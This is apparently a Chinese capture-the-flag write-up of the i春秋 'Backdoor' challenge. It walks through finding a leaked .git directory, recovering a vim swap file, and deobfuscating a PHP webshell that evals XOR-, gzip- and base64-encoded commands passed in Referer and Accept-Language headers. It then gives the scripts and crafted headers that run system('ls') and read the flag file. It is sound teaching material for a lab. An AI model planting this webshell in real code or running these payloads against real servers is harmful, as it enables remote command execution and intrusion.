i春秋-Backdoor

题目


考点

git源码泄露

Linux文件恢复

代码审计

http

解题

参考wp

https://blog.csdn.net/cbhjerry/article/details/105791056

https://www.pianshen.com/article/19461342501/

扫描

题目给出提示:敏感文件泄漏

于是使用dirsearch扫一下

python dirsearch.py -u http://eci-2ze0l5vhl7ukjwiq791b.cloudeci1.ichunqiu.com/Challenges/

导出git文件

存在git文件,用git_extract导出文件:

python2 git_extract.py http://eci-2ze0l5vhl7ukjwiq791b.cloudeci1.ichunqiu.com/Challenges/.git/


找到新的可疑文件

在下一步应该要访问:b4ckdo0r.php

提示看源码

考虑是否存在.b4ckdo0r.php.swp等文件,尝试后发现存在.b4ckdo0r.php.swo,把它下载下来。

还原文件

接下来还原下载下来的文件

vi -r b4ckdo0r.php.swo

回车,打开的文件显示b4ckdo0r.php原码:

这么密密麻麻的是混淆后的代码,我们将其复制到本地,在最后一行加入echo ( L ) ; 代码是混淆的,通过 c r e a t e f u n c t i o n 将 L); 代码是混淆的,通过create_function将 L);代码是混淆的,通过createfunction将L的内容创建为函

<?php
echo "can you find the source code of me?";
/**
 * Signature For Report
 */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*
 */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*
 */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*
 */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*
 */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*
 */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/*
 */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/*
 */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/*
 */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*
 */$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/*
 */$y=str_replace('b','','crbebbabte_funcbbtion');/*
 */$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*
 */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
 */$v=$y('',$L);$v();/*
 */
 echo ($L);
?>

然后本地运行

复制出来并稍做整理:

<?php
$kh="4f7f";
$kf="28d7";

function x($t,$k){
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};}
    }
    return $o;
}

$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];

if($rr&&$ra){
    $u=parse_url($rr);
    parse_str($u["query"],$q);
    $q=array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
    
    if($q&&$m){
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];
        $h=$sl($ss(md5($i.$kh),0,3));
        $f=$sl($ss(md5($i.$kf),0,3));
        $p="";
        
        for($z=1;$z<count($m[1]);$z++)
            $p.=$q[$m[2][$z]];
        
        if(strpos($p,$h)===0){
            $s[$i]="";
            $p=$ss($p,3);}
        
        if(array_key_exists($i,$s)){
            $s[$i].=$p;
            $e=strpos($s[$i],$f);
            
            if($e){
                $k=$kh.$kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

代码审计

接下来就是代码审计。在下载下来的代码加入一些打印语句,帮助快速理清逻辑并找出漏洞构造payload:

<?php
$kh="4f7f";
$kf="28d7";

function x($t,$k){  // 将两个变量进行异或
    $c=strlen($k);
    $l=strlen($t);
    $o="";

    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};}
    }
    return $o;
}

$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];           // 获取http头的"REFERER"
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];   // 获取http头的"ACCEPT_LANGUAGE"

if($rr&&$ra){
    $u=parse_url($rr);
    parse_str($u["query"],$q);
    $q=array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);

    print_r($q);
    print_r($m);

    if($q&&$m){
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];
        $h=$sl($ss(md5($i.$kh),0,3));     // 675
        $f=$sl($ss(md5($i.$kf),0,3));     // a3e

        echo 'h:'.$h.PHP_EOL;   // 675
        echo 'f:'.$f.PHP_EOL;   // a3e

        $p="";
        for($z=1;$z<count($m[1]);$z++)
            $p.=$q[$m[2][$z]];    // 构造Accept-Language:zh-CN,zh;q=0.1,这样获取的$m[2][1]为1,即$q[1]为"REFERER"的第二个参数

        echo 'p:'.$p.PHP_EOL;

        if(strpos($p,$h)===0){   // 可构造"REFERER"的第二个参数前三个字符为"675",进入该流程设置$s[$i],才能通过下面的判断array_key_exists($i,$s)
            $s[$i]="";
            $p=$ss($p,3);}       // 去掉前三个字符

        print_r($s);
        echo 'i:'.$i.PHP_EOL;
        echo 'p:'.$p.PHP_EOL;

        if(array_key_exists($i,$s)){
            $s[$i].=$p;
            $e=strpos($s[$i],$f);        // 由此可推出$s[$i]
            // 必须包含有$f("a3e"),也就是此时此刻的$p必须包含"a3e",且不能出现在最前面,在最前面加任意字符,也就是"REFERER"的第二个参数为"675"开头,"a3e"结尾
            if($e){
                $k=$kh.$kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                // 存在eval的漏洞,用"REFERER"第二个参数675和a3e之间的字符作payload
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

构造payload

需要在http头加入Accept-Language和Referer,构造Accept-Language: zh-CN,zh;q=0.1,则Referer的值最少要两个参数,且第二个参数格式为"675"+payload+"a3e",因为程序中使用了eval,所以可以考虑使用system函数执行系统操作,但构造的载荷会经过base64_decode,异或,gzuncompress的处理,所以可以把要执行的操作经过逆处理即gzcompress,异或,base64_encode:

<?

function x($t,$k){  // 将两个变量进行异或
    $c=strlen($k);
    $l=strlen($t);
    $o="";

    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};}
    }
    return $o;
}

$k="4f7f28d7";

$cmd = 'system("ls");';

echo PHP_EOL."----------------".PHP_EOL;
echo base64_encode(x(gzcompress($cmd),$k)).PHP_EOL;

得到:

TPocyB4WLfrhNv1PZOrQMTREimJn

请求并改请求包

http://eci-2ze0rkldt08jroya6asi.cloudeci1.ichunqiu.com/Challenges/b4ckdo0r.php

先查看一下目录文件,system("ls")处理后得到"TPocyB4WLfrhNv1PZOrQMTREimJn",把这字符串加下前缀"675",后缀"a3e",做为Referer的参数:

Referer: http://8.8.8.8/index.php?a=675TPocyB4WLfrhNv1PZOrQMTREimJna3e
Accept-Language: zh-CN,zh;q=0.1

得到响应:

TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT

解码

把得到的字符串"TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT",因为这字符串是经过gzcompress,异或,base64_encode处理,所以可以进行base64_decode,异或,gzuncompress解密:

<?
function x($t,$k){  // 将两个变量进行异或
    $c=strlen($k);
    $l=strlen($t);
    $o="";

    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};}
    }
    return $o;
}

$k="4f7f28d7";

$cmd = 'system("ls");';

echo PHP_EOL."----------------".PHP_EOL;
echo base64_encode(x(gzcompress($cmd),$k)).PHP_EOL;

得到:

重新构造payload

得到该文件列表,其中有this_i5_flag.php,查看该文件 system("cat this_i5_flag.php"):

<?
function x($t,$k){  // 将两个变量进行异或
    $c=strlen($k);
    $l=strlen($t);
    $o="";

    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};}
    }
    return $o;
}

$k="4f7f28d7";

$cmd = 'system("cat this_i5_flag.php");';

echo PHP_EOL."----------------".PHP_EOL;
echo base64_encode(x(gzcompress($cmd),$k)).PHP_EOL;

得到:

TPocyB4WLfrhNn0oHmlM/vxKuakGtSv8fSrgTfoQNOWAYDfeUDKW

再次发送请求包并改包

Referer: http://8.8.8.8/index.php?a=675TPocyB4WLfrhNn0oHmlM/vxKuakGtSv8fSrgTfoQNOWAYDfeUDKWa3e
Accept-Language: zh-CN,zh;q=0.1

得到

TPqE1x3wTNfRNH6te3Qzh2E2MLfnEWKhsnChoFuCTXFd8I1Ae3gyZb7jlgiQoe2WlfdONLidFX2Z3AJJpYV5IDQ/rHd4

再次解码

将得到的加密字符串解码

<?php
function x($t,$k){  // 将两个变量进行异或
    $c=strlen($k);
    $l=strlen($t);
    $o="";

    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};}
    }
    return $o;
}

$k="4f7f28d7";
$str = 'TPqE1x3wTNfRNH6te3Qzh2E2MLfnEWKhsnChoFuCTXFd8I1Ae3gyZb7jlgiQoe2WlfdONLidFX2Z3AJJpYV5IDQ/rHd4';
echo PHP_EOL."----------------".PHP_EOL;
echo gzuncompress(x(base64_decode($str),$k)).PHP_EOL;

得到

<?php
$flag = 'flag{d091893f-d2f9-4b3f-bd81-a641127bd93d}';
?>

提交flag

相关推荐
follycat1 小时前
[极客大挑战 2019]HTTP 1
网络·网络协议·http·网络安全
Lionhacker16 小时前
网络工程师这个行业可以一直干到退休吗?
网络·数据库·网络安全·黑客·黑客技术
centos0817 小时前
PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]
网络安全·二进制·pwn·ctf
程序员小予20 小时前
如何成为一名黑客?小白必学的12个基本步骤
计算机网络·安全·网络安全
蜗牛学苑_武汉1 天前
Wazuh入侵检测系统的安装和基本使用
网络·网络安全
乐茵安全1 天前
linux基础
linux·运维·服务器·网络·安全·网络安全
如光照1 天前
Linux与Windows中的流量抓取工具:wireshark与tcpdump
linux·windows·测试工具·网络安全
follycat1 天前
2024强网杯Proxy
网络·学习·网络安全·go
黑色叉腰丶大魔王1 天前
《运维网络安全》
运维·网络·网络安全